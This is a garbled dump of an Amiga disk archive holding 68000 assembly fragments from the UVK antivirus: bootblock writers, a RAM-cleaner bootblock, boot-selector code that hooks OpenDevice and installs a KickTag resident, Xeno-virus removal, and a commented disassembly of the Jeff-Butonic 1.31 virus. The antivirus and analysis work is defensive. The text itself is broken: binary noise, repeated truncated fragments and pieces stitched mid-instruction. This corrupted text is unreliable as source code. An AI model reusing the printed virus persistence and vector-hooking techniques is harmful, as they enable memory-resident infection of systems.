closelibrary=-414 open=-30 close=-36 READ=-42 allocmem=-198 freemem=-210 opendevice=-444 closedevice=-450 doio=-456 findtask=-294 move.l #endboot-buf,d1 move.l #$400,d0 sub.l d1,d0 move.l d0,len ;len 400-prg move.l $4,a6 lea dosname,a1 jsr openlibrary(a6) move.l d0,dosbase move.l #$10002,d1 move.l #1024,d0 jsr allocmem(a6) move.l d0,buffer sub.l a1,a1 jsr findtask(a6) lea diskport,a0 move.:[HnI6uvk2.0tׂ!;======== UVK 2.0 ======== ;24/06/90 >extern"df0:s/uvk.pic",Data >extern"df0:s/uvk.pict",Data2 >extern"df0:s/prefs",Prefs lea Prefs,a0 tst.b (a0) beq.L End lea DosLib,a1 bsr.L OpenLib move.l d0,DosBase lea GfxLib,a1 bsr.L OpenLib move.l d0,GfxBase lea Intuition,a1 bsr.L OpenLib move.l d0,IntBase move.l d0,a6 lea OPrefs,a0 move.l #232,d0 jsr -132(a6) ;connected drives move.l 4,a6 clr.l d0 clr.l d3 lea DriveC,a2 lea DiskRes,a1 lea DrivT+2,a3 jsr -498(a6) yԃ;openresource move.l d0,a6 moveq #0,d2 SConDr: move.l d2,d0 jsr -30(a6) tst.l d0 bne.s NotCon move.b #1,0(a2,d2.l) addq #1,d3 cmp.l #1,d3 bne.s SetDest move.l d2,Drs ;initsou move.l d2,Drd ;initdest SetDest:cmp.l #2,d3 bhi.s NotCon move.l d2,Drd ;initdest NotCon: add.l #1,d2 cmp.l #4,d2 bne.s SConDr bsr.L SetPref move.l 4,a6 move.l #$10002,d1 move.l #$400,d0 jsr -198(a6) ;AllocMem move.l d0,Buffer sub.l a1,a1 jsr -294(a6) ;findtask lea DiskPort,a0 mo~ve.l d0,16(a0) lea DiskPort,a1 jsr -354(a6) ;addport lea IoReq,a1 move.l #DiskPort,14(a1) ;Open Connected drives lea DriveC,a2 lea Drive0,a3 moveq #0,d2 OCDrLp: tst.b 0(a2,d2.l) beq.s NOpenD move.l d2,d0 clr.l d1 lea TrkDisk,a0 move.l 4,a6 jsr -444(a6) ;opendev tst.l d0 bne.L End lea IoReq,a1 move.l 24(a1),(a3) NOpenD: addq #1,d2 addq #4,a3 cmp.l #4,d2 bne.s OCDrLp move.l IntBase,a6 lea Screen,a0 jsr -198(a6) ;openscreen *1 move.l d0,Screenhd ; move.l D56(a6),Screenhd ;current *2 move.l Screenhd,Scr1 move.l Screenhd,Scr2 lea Window,a0 jsr -204(a6) ;openwindow move.l d0,WindowHd move.l Windowhd,a0 move.l 50(a0),RastPort bsr.L DrawIm2 bsr.L ShConDr lea DateTxt,a0 bsr.L Status move.l #$200,TimeSta Loop: bsr.L DrawIma bsr.L StaSub bsr.L GetMous tst.b EndFlag beq.s Fin bsr.L GetKey cmp.b #$45,d0 beq.s Fin lea KeyTab,a0 KeyTLp: cmp.b 3(a0),d0 bne.s KeyNOk move.l 4(a0),a1 jsr (a1) bra.s Loop KeyNOk: addq #x!8,a0 tst.l (a0) bne.s KeyTLp bsr.L GetMsg tst.l d0 beq.s Loop Fin: move.l IntBase,a6 move.l WindowHd,a0 jsr -72(a6) ;CloseWindow move.l ScreenHd,a0 jsr -66(a6) ;CloseScreen *1 move.l $4,a6 lea IoReq,a1 jsr -450(a6) ;CloseDev lea DiskPort,a1 jsr -360(a6) ;RemPort move.l Buffer,a1 move.l #$400,d0 jsr -210(a6) ;FreeMem bsr.L OldPrefs move.l IntBase,a1 bsr.s ClosLib move.l GfxBase,a1 bsr.s ClosLib move.l DosBase,a1 bsr.s ClosLib moveq #0,d0 End: rts Ends+2: move.b #0,EndFlag rts OpenLib:move.l 4,a6 clr.l d0 jsr -552(a6) rts ClosLib:move.l 4,a6 jsr -414(a6) rts PrintI: move.l IntBase,a6 move.l RastPort,a0 move.l #TextW,a1 move.l #10,d0 move.l #30,d1 jsr -216(a6) ;printitext rts Bord: move.l IntBase,a6 move.l RastPort,a0 lea Border,a1 move.l #20,d0 move.l #80,d1 jsr -108(a6) ;drawborder rts OldPrefs:move.l IntBase,a6 move.l #OPrefs,a0 move.l #232,d0 move.l #0,d1 jsr -324(a6) ;setprefs rts SetPref:move.l Int`Base,a6 move.l #Prefs,a0 move.l #232,d0 move.l #0,d1 jsr -324(a6) ;setprefs rts GfxWr3: moveq #8,d0 bra.L GfxWr ClrSta: lea ClrStat,a0 Status: moveq #6,d0 moveq #88,d1 GfxWr: move.l #3,Color GfxWr2: movem.l a0-a6,-(a7) MoveLp: move.l GfxBase,a6 tst.b RastFlag ;para rastport beq.s Rast1 move.l RastPort2,a1 bra.s Rast2 Rast1: move.l RastPort,a1 Rast2: move.l d0,d4 move.l d1,d5 jsr -240(a6) ;move move.l Color,d0 ;txt jsr -342(a6) ;setapen moveq #2,d0 ;fond jsr -348(a6k) ;setapen move.l a0,-(a7) moveq #0,d0 GfxWrLp:cmp.b #10,(a0) bne.s NoRetC move.b #1,RetFlag bra.s RetC NoRetC: addq #1,d0 cmp.b #-1,(a0)+ bne.s GfxWrLp subq #1,d0 ;Nb Char RetC: move.l (a7),a0 move.l d0,-(a7) jsr -60(a6) ;text (a0/a1/d0) move.l (a7)+,d0 move.l (a7)+,a0 tst.b RetFlag beq.s EndGWr addq #1,d0 add.l d0,a0 move.l d4,d0 ;x move.l d5,d1 add.l #8,d1 ;y clr.b RetFlag bra.s MoveLp EndGWr: movem.l (a7)+,a0-a6 rts GfxCls: move.l GfxBase,a6 move.l R ugLastPort2,a1 moveq #2,d0 jsr -342(a6) ;setapen lea Window2,a0 move.w 4(a0),d2 move.w 6(a0),d3 move.l d2,d2 move.l d3,d3 subq.l #4,d2 subq.l #2,d3 moveq #2,d0 moveq #1,d1 jsr -306(a6) ;rectfill rts DrawIma:move.l IntBase,a6 lea Image2,a1 moveq #0,d0 moveq #0,d1 move.l RastPort,a0 jsr -114(a6) ;drawimage rts DrawIm2:move.l IntBase,a6 lea Image,a1 moveq #0,d0 moveq #0,d1 move.l RastPort,a0 jsr -114(a6) ;drawimage rts getmsg: move.l 4,a6 move.l WindowHd,a0  / move.l 86(a0),a0 jsr -372(a6) ;getmsg move.l d0,a0 move.l 20(a0),d6 ;evenement rts GetKey: clr.l d0 move.b $bfec01,d0 btst #0,d0 beq.s EGKey WKeyR: move.b $bfec01,d0 btst #0,d0 bne.s WKeyR not.b d0 lsr.b #1,d0 rts EGKey: clr.l d0 rts GetMous:move.b #1,MRiFlag clr.l d0 clr.l d1 clr.l d7 move.l WindowHd,a0 move.w 14(a0),d0 ;x move.w 12(a0),d1 ;y cmp.w LastX,d0 ;sleeping bne.s ContMou cmp.w LastY,d1 bne.s ContMou add.l #1,Sleep bra.s ContM2 ContMou:clr.l Sle ;3ep ContM2: move.w d0,LastX move.w d1,LastY cmp.w #2,d0 ;out blo.L MOff4 cmp.w #301,d0 bhi.L MOff4 cmp.w #27,d1 blo.L MOff4 cmp.w #78,d1 bhi.L MOff4 btst #10,$dff016 bne.s NotRi clr.b MRiFlag bra.s RiMous NotRi: btst #6,$bfe001 bne.L MousEnd RiMous: move.w d0,d7 sub.w #2,d0 divu #100,d0 sub.w #27,d1 divu #13,d1 move.w d0,d2 move.w d1,d3 lsl.w #4,d0 add.w d1,d0 ;xy lea MousTab,a0 MSubLp: cmp.w 2(a0),d0 beq.s OkMSub add.l #8,a0 bra.s MSubLp OkMSub: move.l 4d  EI6O uvkcl3f.S;----- WRITEBOOT II ---- ;Amiguy from the dreamdealers openlibrary=-408 closelibrary=-414 open=-30 close=-36 READ=-42 allocmem=-198 freemem=-210 opendevice=-444 closedevice=-450 doio=-456 findtask=-294 move.l #endboot-buf,d1 move.l #$400,d0 sub.l d1,d0 move.l d0,len ;len 400-prg move.l $4,a6 lea dosname,a1 jsr openlibrary(a6) move.l d0,dosbase move.l #$10002,d1 move.l #1024,d0 jsr allocmem(a6) move.l d0,buffer sub.l a1,a1 jsr findtask(a6) lea diskport,a0 move.WI6 uvkpalb.Sl&;----- WRITEBOOT ---- ;Amiguy from the dreamdealers ;mettre prg ou indique ;execute ;mettre valeur d0 derriere le blk ;execute ;d0=400 ? ok ;enlever le point virgule devant bsr ecrire ;mettre disk ;execute openlibrary=-408 closelibrary=-414 open=-30 close=-36 READ=-42 allocmem=-198 freemem=-210 opendevice=-444 closedevice=-450 doio=-456 findtask=-294 move.l #endboot-buf,d1 move.l #$400,d0 sub.l d1,d0 move.l d0,len ;len 400-prg move.l $4,a6 lea dosname,a1 jsr openlibrary(a4(RI6suvkpal.S"AR lea Intuition(pc),a1 move.l 4,a6 clr.l d0 jsr -408(a6) lea Intbase(pc),a0 move.l d0,(a0) move.l d0,a0 lea OldOpW(pc),a1 move.l -202(a0),(a1) lea NewOpW(pc),a0 move.l a0,d0 bsr.s SetFunc lea Intbase(pc),a0 move.l (a0),a1 jsr -414(a6) rts NewOpW: movem.l d0-d7/a1-a6,-(a7) move.l a0,-(a7) lea OldOpW(pc),a0 move.l (a0),d0 bsr.s SetFunc move.l (a7)+,a0 move.w #256,6(a0) lea Text(pc),a1 move.l a1,26(a0) movem.l (a7)+,a1-a6/d0-d7 rts SetFunc:move.l 4,a6 lea ĉg I6hirqp.S +openlibrary=-408 closelibrary=-414 open=-30 close=-36 READ=-42 allocmem=-198 freemem=-210 opendevice=-444 closedevice=-450 doio=-456 findtask=-294 move.l #endboot-buf,d1 move.l #$400,d0 sub.l d1,d0 move.l d0,len move.l $4,a6 lea dosname,a1 jsr openlibrary(a6) move.l d0,dosbase move.l #$10002,d1 move.l #1024,d0 jsr allocmem(a6) move.l d0,buffer sub.l a1,a1 jsr findtask(a6) lea diskport,a0 move.l d0,16(a0) clr.l d0 move.b #0,d0 lea diskioreq,a1 lea trkdisk,a0 F[@ZYXWVUjihgfedcba`utsrqponmlk~}|{zyxwvI6uvk2.0ׄ;======== UVK 2.0 ======== ;24/06/90 >extern"df0:s/uvk.pic",Data >extern"df0:s/uvk.pict",Data2 >extern"df0:s/prefs",Prefs lea Prefs,a0 tst.b (a0) beq.L End lea DosLib,a1 bsr.L OpenLib move.l d0,DosBase lea GfxLib,a1 bsr.L OpenLib move.l d0,GfxBase lea Intuition,a1 bsr.L OpenLib move.l d0,IntBase move.l d0,a6 lea OPrefs,a0 move.l #232,d0 jsr -132(a6) ;connected drives move.l 4,a6 clr.l d0 clr.l d3 lea DriveC,a2 lea DiskRes,a1 lea DrivT+2,a3 jsr -498(a6) A^ I6Zuvkcl3.SɆo;----- WRITEBOOT II ---- ;Amiguy from the dreamdealers openlibrary=-408 closelibrary=-414 open=-30 close=-36 READ=-42 allocmem=-198 freemem=-210 opendevice=-444 closedevice=-450 doio=-456 findtask=-294 move.l #endboot-buf,d1 move.l #$400,d0 sub.l d1,d0 move.l d0,len ;len 400-prg move.l $4,a6 lea dosname,a1 jsr openlibrary(a6) move.l d0,dosbase move.l #$10002,d1 move.l #1024,d0 jsr allocmem(a6) move.l d0,buffer sub.l a1,a1 jsr findtask(a6) lea diskport,a0 move.ʾ$l d0,16(a0) clr.l d0 move.b #0,d0 lea diskioreq,a1 lea trkdisk,a0 jsr opendevice(a6) ;ouvre trackdisk.device tst.l d0 bne.s end ;calcule checksum lea BUF,A0 LEA 4(A0),A1 CLR.L (A1) MOVE.w #$00FF,D1 MOVEQ #$00,D0 LPCHK: ADD.L (A0)+,D0 BCC.S JUMP ADDQ.L #1,D0 JUMP: DBF D1,LPCHK not.l d0 MOVE.L D0,(A1) ; BSR.L WRITEB ;ecrit boot end: move.l $4,a6 move.l buffer,a1 move.l #1024,d0 jsr freemem(a6) move.l $4,a6 move.l dosbase,a1 jsr closelibrary(a6) MOVE.L r@*H$4,A6 LEA DISKIOREQ,A1 JSR CLOSEDEVICE(A6) move.l len,d0 rts motor: move.l 4,a6 lea diskioreq,a1 move.w #9,28(a1) ;command = motor off clr.l 36(a1) jsr doio(a6) rts protect:move.l $4,a6 MOVE.L #1,GOON lea diskioreq,a1 move.w #15,28(a1) ;command = write protect ? jsr doio(a6) lea diskioreq,a1 tst.l 32(a1) ;non beq.s okprot CLR.L GOON OKPROT: rts drive: move.l $4,a6 MOVE.L #1,GOON lea diskioreq,a1 move.w #14,28(a1) ;command = disk dans drive ? jsr doio(a6) lea̡ diskioreq,a1 tst.l 32(a1) beq.s okdk ;ok CLR.L GOON OKDK: rts writeb: bsr.L drive ;disk in drive ? bsr.L protect ;wriet enable ? cmp.l #1,goon bne.s endwrit ;erreur move.l $4,a6 lea diskioreq,a1 move.w #3,28(a1) ;command = write move.l #1024,36(a1) ;len = $400 (2 block) move.l #BUF,40(a1) ;buffer move.l #0,44(a1) ;offset (piste 0) jsr doio(a6) move.w #4,28(a1) ;update (tjs apres write) move.l #1024,36(a1) move.l #BUF,40(a1) move.l #0,44(a1) jsr doio(a6) tͩ7st.l d0 beq.s okwr okwr: bsr.L motor ;motor off endwrit:rts dosbase:dc.l 0 conhandle: dc.l 0 key: dc.b 0 even diskport: dc.l 0 dc.l 0 dc.w $0400 dc.l 0 dc.b 0 dc.b 31 dc.l 0 lh1: dc.l lh2 lh2: dc.l 0 dc.l lh1 dc.b 0 dc.b 0 diskioreq: dc.l 0 dc.l 0 dc.b 5 dc.b 0 dc.l 0 dc.l diskport dc.w 48 dc.l 0 dc.l 0 dc.w 0 dc.w 0 dc.l 0 dc.l 0 dc.l 0 dc.l 0 dc.l 0 dc.l 0 TRKDISK: DC.B "trackdisk.device",0 even len: dc.l 0 GOON: DC.L 0 buffer: dc.l 0 buf: DC.b "Dβ{OS",0 DC.L 0 DC.L $370 bra.s cont dc.b ">Ram Cleaner 3.0<",0 cont: movem.l d0-d7/a0-a6,-(a7) move.l $4,a6 lea $dff000,a5 move.l #$f000f00,d7 bsr.L ResChk bne.s Kill bsr.s ExecChk bne.s Kill lsr.l #3,d7 bsr.L Wait movem.l (a7)+,d0-d7/a0-a6 move.l $4,a6 lea dosname(pc),a1 jsr -96(a6) MOVE.L D0,A0 MOVE.L $16(A0),A0 MOVEQ #$00,D0 RTS Kill: bsr.L Wait move.l #1,$24(a6) movem.l (a7)+,d0-d7/a0-a6 move.l #$fc00d2,$80 trap #0 rts ExecChk:moveq #0,d2 move.w #-634,WId2 lea ExecExc,a0 ExecLp: addq.w #6,d2 cmp.w (a0),d2 bne.s ExecNEx addq.l #2,a0 bra.s ExecLp ExecNEx:move.l 0(a6,d2.w),d1 and.l #$ff0000,d1 cmp.l #$fc0000,d1 bne.s ExecErr cmp.w #-4,d2 bne.s ExecLp ExecErr:rts ExecExc:dc.w -550,-448,-442,-436,-412,-400,-196 Wait: move.l d7,$180(a5) move.l #50,d3 WVbl1: cmp.b #$f0,$6(a5) bne.s WVbl1 WVbl2: cmp.b #$ff,$6(a5) bne.s WVbl2 dbf d3,WVbl1 rts ResChk: tst.l 42(a6) bne.s ResErr tst.l 46(a6) bne.s ResErr tst.l 546(a6) bne.mns ResErr tst.l 550(a6) bne.s ResErr ResErr: rts dosname:dc.b "dos.library",0 blk.b $2fc,0 ;LEN ENDBOOT: a6 lea $dff000,a5 move.l #$f000f00,d7 bsr.L ResChk bne.s Kill bsr.s ExecChk bne.s Kill lsr.l #3,d7 bsr.L Wait movem.l (a7)+,d0-d7/a0-a6 move.l $4,a6 lea dosname(pc),a1 jsr -96(a6) MOVE.L D0,A0 MOVE.L $16(A0),A0 MOVEQ #$00,D0 RTS Kill: bsr.L Wait move.l #1,$24(a6) movem.l (a7)+,d0-d7/a0-a6 move.l #$fc00d2,$80 trap #0 rts ExecChk:moveq #0,d2 move.w #-634,эo_4I6bsel.S_;------ Boot Selector ------ move.l $4,a6 move.l a6,a5 sub.l #442,a5 lea OOpenD(pc),a0 move.l (a5),(a0) lea NOpenD(pc),a0 move.l a0,d0 ; bsr.s SetFunc ; move.l #$fc00d2,$80 ; trap #0 rts NOpenD: movem.l d1-d7/a0-a6,-(a7) cmp.b #"t",(a0) bne.s Err cmp.b #"r",1(a0) bne.s Err cmp.b #"a",2(a0) bne.s Err lea Drive,a0 move.l (a0),d0 lea OOpenD(pc),a0 move.l (a0),d0 bsr.s SetFunc Err: movem.l (a7)+,a0-a6/d1-d7 dc.w $4ef9 OOpenD: dc.l 0 SetFunc:move.l 4,a6 move.l a6,aӌk"I6 bsel2.SԑQ;------ Boot Selector ------ move.l $4,a6 move.l #EndPrg-Prg,d2 move.l d2,d0 move.l #$10000,d1 jsr -198(a6) move.l d0,a0 beq.s Err0 move.l a0,Adr subq.l #1,d2 lea Prg,a1 Loop: move.b (a1)+,(a0)+ dbf d2,Loop move.l 550(a6),d0 beq.s NoResid bset #31,d0 move.l d0,Struct+4 NoResid:move.l #Struct,550(a6) ;KickTagPtr jsr -612(a6) ;KickSumData move.l d0,554(a6) ;KickTagSum Err0: rts Struct: dc.l Resid dc.l $0000000 Resid: dc.w $4afc ;MatchWord dc.l Resid ;MatchTag ՛ dc.l Resid+$20 ;EndSkip dc.b $01 ;Flags dc.b $21 ;Version dc.b $00 ;Type dc.b $F6 ;Pri dc.l Name ;Name dc.l 0 Adr: dc.l 0 Name: dc.b "UVK Boot Selector",0 Prg: movem.l d0-d7/a0-a6,-(a7) move.l $4,a6 move.l a6,a5 sub.l #442,a5 lea OOpenD(pc),a0 move.l (a5),(a0) lea NOpenD(pc),a0 move.l a0,d0 bsr.s SetFunc movem.l (a7)+,d0-d7/a0-a6 rts NOpenD: movem.l d1-d7/a0-a6,-(a7) move.l #"toto",$40000 cmp.b #"t",(a0) bne.s Err cmp.b #"r",1(a0) bne.s Err cmp.b #"a",*2(a0) bne.s Err lea Drive(pc),a0 move.l (a0),d0 lea OOpenD(pc),a0 move.l (a0),d0 bsr.s SetFunc Err: movem.l (a7)+,a0-a6/d1-d7 dc.w $4ef9 OOpenD: dc.l 0 SetFunc:move.l 4,a6 move.l a6,a1 ;lib move.l #-444,a0 ;offset jsr -420(a6) ;Setfunc rts Drive: dc.l 1 EndPrg: 0,Struct+4 NoResid:move.l #Struct,550(a6) ;KickTagPtr jsr -612(a6) ;KickSumData move.l d0,554(a6) ;KickTagSum Err0: rts Struct: dc.l Resid dc.l $0000000 Resid: dc.w $4afc ;MatchWord dc.l Resid ;MatchTag ' \[I6  bselec2b.S[pzn;------ Boot Selector ------ move.l $4,a6 move.l #EndPrg-Prg,d2 move.l d2,d0 move.l #$10000,d1 jsr -198(a6) move.l d0,a0 beq.s Err0 move.l a0,Adr subq.l #1,d2 lea Prg,a1 Loop: move.b (a1)+,(a0)+ dbf d2,Loop move.l 550(a6),d0 beq.s NoResid bset #31,d0 move.l d0,Struct+4 NoResid:move.l #Struct,550(a6) ;KickTagPtr jsr -612(a6) ;KickSumData move.l d0,554(a6) ;KickTagSum ; move.l #$fc00d2,$80 ; trap #0 Err0: rts Struct: dc.l Resid dc.l $0000000 Resid: dc.w $4afc ;Ma87]I6 bselec.S]En.;------ Boot Selector ------ move.l $4,a6 lea OOpenD(pc),a0 move.l -444(a6),(a0) lea NOpenD(pc),a0 move.l a0,d0 bsr.s SetFunc ; move.l #$fc00d2,$80 ; trap #0 rts NOpenD: movem.l d1-d7/a0-a6,-(a7) cmp.b #"t",(a0) bne.s Err cmp.b #"r",1(a0) bne.s Err cmp.b #"a",2(a0) bne.s Err lea Drive,a0 move.l (a0),d0 lea OOpenD(pc),a0 move.l (a0),d0 bsr.s SetFunc Err: movem.l (a7)+,a0-a6/d1-d7 dc.w $4ef9 OOpenD: dc.l 0 SetFunc:move.l 4,a6 move.l a6,a1 ;lib move.l #-444,a0 ;[J^I5 bselec2.S^pzn;------ Boot Selector ------ move.l $4,a6 move.l #EndPrg-Prg,d2 move.l d2,d0 move.l #$10000,d1 jsr -198(a6) move.l d0,a0 beq.s Err0 move.l a0,Adr subq.l #1,d2 lea Prg,a1 Loop: move.b (a1)+,(a0)+ dbf d2,Loop move.l 550(a6),d0 beq.s NoResid bset #31,d0 move.l d0,Struct+4 NoResid:move.l #Struct,550(a6) ;KickTagPtr jsr -612(a6) ;KickSumData move.l d0,554(a6) ;KickTagSum ; move.l #$fc00d2,$80 ; trap #0 Err0: rts Struct: dc.l Resid dc.l $0000000 Resid: dc.w $4afc ;MaݕndPONMLK I5bord.SK kopenlibrary=-408 closelibrary=-414 open=-30 close=-36 READ=-42 allocmem=-198 freemem=-210 opendevice=-444 closedevice=-450 doio=-456 findtask=-294 move.l #endboot-buf,d1 move.l #$400,d0 sub.l d1,d0 move.l d0,len move.l $4,a6 lea dosname,a1 jsr openlibrary(a6) move.l d0,dosbase move.l #$10002,d1 move.l #1024,d0 jsr allocmem(a6) move.l d0,buffer sub.l a1,a1 jsr findtask(a6) lea diskport,a0 move.l d0,16(a0) clr.l d0 move.b #0,d0 lea diskioreq,a1 lea trkdisk,a0 WׂA@?TSRQ\I5 uvkpal2.SQl\;----- WRITEBOOT ---- ;Amiguy from the dreamdealers ;mettre prg ou indique ;execute ;mettre valeur d0 derriere le blk ;execute ;d0=400 ? ok ;enlever le point virgule devant bsr ecrire ;mettre disk ;execute openlibrary=-408 closelibrary=-414 open=-30 close=-36 READ=-42 allocmem=-198 freemem=-210 opendevice=-444 closedevice=-450 doio=-456 findtask=-294 move.l #endboot-buf,d1 move.l #$400,d0 sub.l d1,d0 move.l d0,len ;len 400-prg move.l $4,a6 lea dosname,a1 jsr openlibrary(arJ UVKcp{>=<;:987654CBIHGFED%pI5 \ uvk1.17.ppDcPP20 |A=ިQPrs^)j@ױOZC=4sT|O۾ Sw/;h~:hK\r\xWG4  TK 7OGf>^ I*Zߌ%,߿k;?`M1!W`造O`jX>ĽxIb~V/&IOlEŒ{DҌtD4=$(Ǘdd"| ئdFxo wU$fƌ,l4#^ub}36USV* x1 &-x'SH<#y#.wo`ՈLfEo38zF>EzRB=d\R͝  T 10/.-,+*)I5 uvk1.0.pp)sD8PP20 |AݞWX1>y' m# ʋ}Fk;=Lvi0]>`:`=k0/ %x?!?8AAɗ|ce!APhOj]hCrΪ_D{StOx^ 4MqكI Qn?na+['ٔcdB6xrv4fǏJp[;0?QGvb;~Ry>p:2H d<*~7_Y=;@;*;c     ('&%$#"! 32NI5 uvk1.21.pp2CoPP20 jtL?P B殞?0!;Cx$Ͼ£߿:$w4N7d&A;"D7K'W[7u9vc[0elYϙxH70ݓHx@X:$,L[KHMLb B^:SK&B<\16U75#|~E`c5a!!qwn^ֈ(n)['>F'0ʙԀ ~sC>BSKwD/8ȅ8bA1`?ͣ?,ȅ,ȡQw(xt<|NߨRNnm-g 3);ظ~lMBU~'|ɟB,roӞ=kW97@#JCq (JH+#U@I5 Z uvk1.20.ppFPP20 jwjvSVDI[xc Uy[G82H^&NyLjs"&756rb@b'89]<|[z$ BYۢo6>='!>fC.=edK_ۯ$HQ 3x]7С$u?0|­ ̎p{k v}့W0@K ƆQ<-\ JCr^WWRͣHlPYH~8>`x;mx׼x|f| heDlLA恰,ZYY~ P?~ ݲs=x~&.M!)]rI62UvkClQ0DOS5p` UVK RAM CLEANER 2.0 By Amiguy HaL,yCN @ hpNuG6,y !f"-|-|:-| <-|4`. "gNu-|8-|:-| x-|paa~ 9f33NuA"| <"QNA,y"Vg$*I fJgI$TN6JfNu,yJ.g Sg6J*g Sg6B.B*A"B@rXQF@0J&g Sg6B"B&N-@*Nu-PNu+|`|Nu+|`dNu+|`|Nu+|`xNu;|Nu|QNu|WNu;|` CI6~IrqProtJDOS p`UVK IRQ PROTECTOR by AMIGUY H3 O,y <"<N:Jfp` @0N j"N |hN\L,yCN @ hpNudos.libraryBkI6NFMBoot]DOS(\Rp`UVK NOFASTMEM By AMIGUYH,yJNghG0<7@7@7@7|7|7|DMAC(| .|,extern"l/disk-validator",diskvalid ; lea param,a0 ; moveq #2,d0 move.l d0,LenPara move.l a0,Para Main: clr.b AllRight bsr.W WbStart move.l 4.w,a6 lea Dosname,a1 moveq #0,d0 jsr -552(a6) move.l d0,Dosbase beq.W EndK move.l 4.w,a6 move.l -406(a6),IrqOpenLib move.l Dosbase,a6 ;tst Xeno virus move.l -28(a6),a0 cmp.l #$b47c03ee,(a0) bne.s NoXeno move.l -148(a6),a0 cmp.l #$3ed,12(a0) bne.s NoXeno move.l -82(a6),qHb(a0 cmp.l #$3ed,10(a0) bne.s NoXeno move.b #1,XenoF lea XenAdr,a4 sub.l #$34a,a0 move.l a0,XenoAdr move.l $2de(a0),a1 move.w #$70ff,-30(a6) ;restore Open lea -30(a6),a2 bsr.W KillXen move.w #$70ed,-150(a6) ;restore LoadSeg lea -150(a6),a2 bsr.W KillXen move.w #$70f5,-84(a6) ;restore Lock lea -84(a6),a2 bsr.W KillXen NoXeno: cmp.l #2,LenPara blo.B Uvk1 bgt.w EndK2 move.l Para,a0 move.b (a0),d0 cmp.b #"d",d0 beq.s OkParD cmp.b #"D",d0 beq.s OkParD cmp.b #"?",qhVWd0 beq.s OkParI cmp.b #"H",d0 beq.s OkParI cmp.b #"h",d0 beq.s OkParI cmp.b #"p",d0 beq.B CmdProt cmp.b #"P",d0 beq.B CmdProt bra.W EndK2 OkParD: move.l #Date,d2 bsr.W Ecrire3 bra.W EndK2 OkParI: move.l #CmdInf,d2 bsr.W Ecrire3 bra.W EndK2 CmdProt:move.l #UvkVHu,d2 bsr.W ecrire3 move.b #1,PCmd move.l Dosbase,a6 jsr -60(a6) move.l d0,ConHandle bra.W MemTst Uvk1: move.l 4.w,a6 lea Name,a0 Chip: move.l 4.w,a6 move.l 20(a6),d0 cmp.l #$002100c0,d0 bne.s PasK2 moq"*ve.l #"K1.2",38(a0) bra.s ContUvk PasK2: cmp.l #$00220002,d0 bne.W EndK2 move.l #"K1.3",38(A0) bra.w ContUvk ContUvk:move.l 4.w,a6 moveq #0,d0 lea DriveC,a2 lea DiskRes,a1 jsr -498(a6) move.l d0,a6 move.b #-1,FlagDr moveq #0,d2 SeaConD:move.l d2,d0 jsr -30(a6) tst.l d0 bne.s NotCon add.b #1,FlagDr move.b #1,0(a2,d2) NotCon: addq #1,d2 cmp.l #4,d2 bne.s SeaConD ;flagDr=0 : 1 Dr tst.b FlagDr beq.B PasSupD move.b #3,Drs move.b #0,Drd lea Drs,a0 bsr.W NextDr qx8& lea Drd,a0 bsr.W NextDr lea DrTxt,a0 move.b Drs,d0 add.b #$30,d0 move.b Drd,d1 add.b #$30,d1 move.l #"S:DF",6(a0) move.b #" ",11(a0) move.l #"D:DF",12(a0) bsr.W TxtDr bra.s SupDr KillXen:move.l a2,(a4)+ move.l a1,a3 add.l #2,a2 sub.l a2,a3 sub.l #2,a3 move.l a3,(a2) move.b #$60,(a2) rts Clr1Dr: move.b #" ",(a0)+ dbf d0,Clr1Dr rts PasSupD:move.b #0,Drs ;only df0: move.b #0,Drd lea InstDr,a0 moveq #7,d0 bsr.s Clr1Dr lea MovtDr,a0 moveq #12,d0 bsr.s Clr1Dq]²r SupDr: move.l 4.w,a6 move.l #$10003,d1 move.l #1024,d0 jsr -198(a6) move.l d0,Buffer beq.W EndK2 add.l #$400,d0 move.l d0,BufEnd move.l #$10003,d1 move.l #1042,d0 jsr -198(a6) move.l d0,ScrP beq.W EndK2 move.l #$10003,d1 move.l #60,d0 jsr -198(a6) tst.l d0 beq.W EndK2 addq #4,d0 and.l #$fffffffc,d0 move.l d0,InfoBuf sub.l a1,a1 jsr -294(a6) ;findtask lea Diskport,a0 move.l d0,16(a0) move.l a0,a1 jsr -354(a6) ;addport bsr.W OpenDrs move.l Dosbase,aqcR6 move.l #Name,d1 move.l #1005,d2 jsr -30(a6) move.l d0,ConHandle beq.W EndK3 MOVE.L #VerifT,D2 bsr.w Ecrire2 MemTst: move.l 4.w,a6 lea Intuition,a1 ;debut tests memoire moveq #0,d0 jsr -552(a6) move.l d0,Intuibase move.l d0,a0 move.l -202(a0),OldOpenW bsr.w IoVect bsr.w RastChk bsr.w IntVec bsr.w ExbIChk bsr.w RamChk2 bsr.w DosVec bsr.w IntuiC move.l 4.w,a6 move.l 20(a6),d0 cmp.l #$002100c0,d0 bne.W PasK12 move.l #$fc12fc,148(a6) ;k1.2 bsr.w ExbasqnJeC move.l 4.w,a6 move.l Iodevice,a0 move.l #$fe9fbe,-28(a0) ;beginio move.l #$fe9f92,-10(a0) ;close add.l #140,a0 move.l (a0),a0 ; move.l #$fe9fbe,-28(a0) ;beginio console move.l Raster,a0 move.l #$fc6cdc,(a0) move.l #$fc0c52,$64 move.l #$fc0ca6,$68 move.l #$fc0cd8,$6c move.l #$fc0d30,$70 move.l #$fc0dbe,$74 move.l #$fc0e04,$78 move.l #$fc0e4a,$7c move.l #$fc07fa,$80 move.l #$fc07fc,$84 move.l #$fc07fe,$88 move.l #$fc0ac0,-94(a6) ;findresident move.l #$fc18d0,-214^?;------- Jeff-Butonic 1.31 virus ------- ;09/07/91 000000 NOP 000002 NOP 000004 LEA START+0(PC),A0 000008 MOVE.L #'NqNq',(A0) ;strange 00000E BSR START+$08D6 ;decode text 000012 MOVE.L 4,A6 000016 BSR START+$016C ;virus deja en ram? 00001A BEQ.S START+$30 ;oui 00001C MOVE.L #$00000DAC,D0 ;3500 octets 000022 MOVE.L #$00010000,D1 ;clr 000028 JSR _LVOAllocMem(A6) 00002C TST.L D0 00002E BNE.S START+$34 ;ok 000030 CLR.L D0 ;err 000032 RTS 000034 ADD.L #$00000042,D0 ;adr+$4m2 00003A BRA START+$0118 00003E BSR START+$C6 ;cree struct et use kicktag 000042 BSR START+$08EA ;open intui.lib 000046 BRA.S START+$98 000048 NOP 00004A NOP 00004C BSR START+$01EE 000050 BNE.S START+$5C 000052 CMP.B #$DF,$00BFEC01 ;touche 'q' (QWERTY) 00005A BEQ.S START+$6A 00005C LEA START+$0D17(PC),A0 000060 ADDQ.B #1,(A0) 000062 MOVE.B (A0),D0 000064 AND.B #15,D0 ;>15? 000068 BNE.S START+$6E ;oui 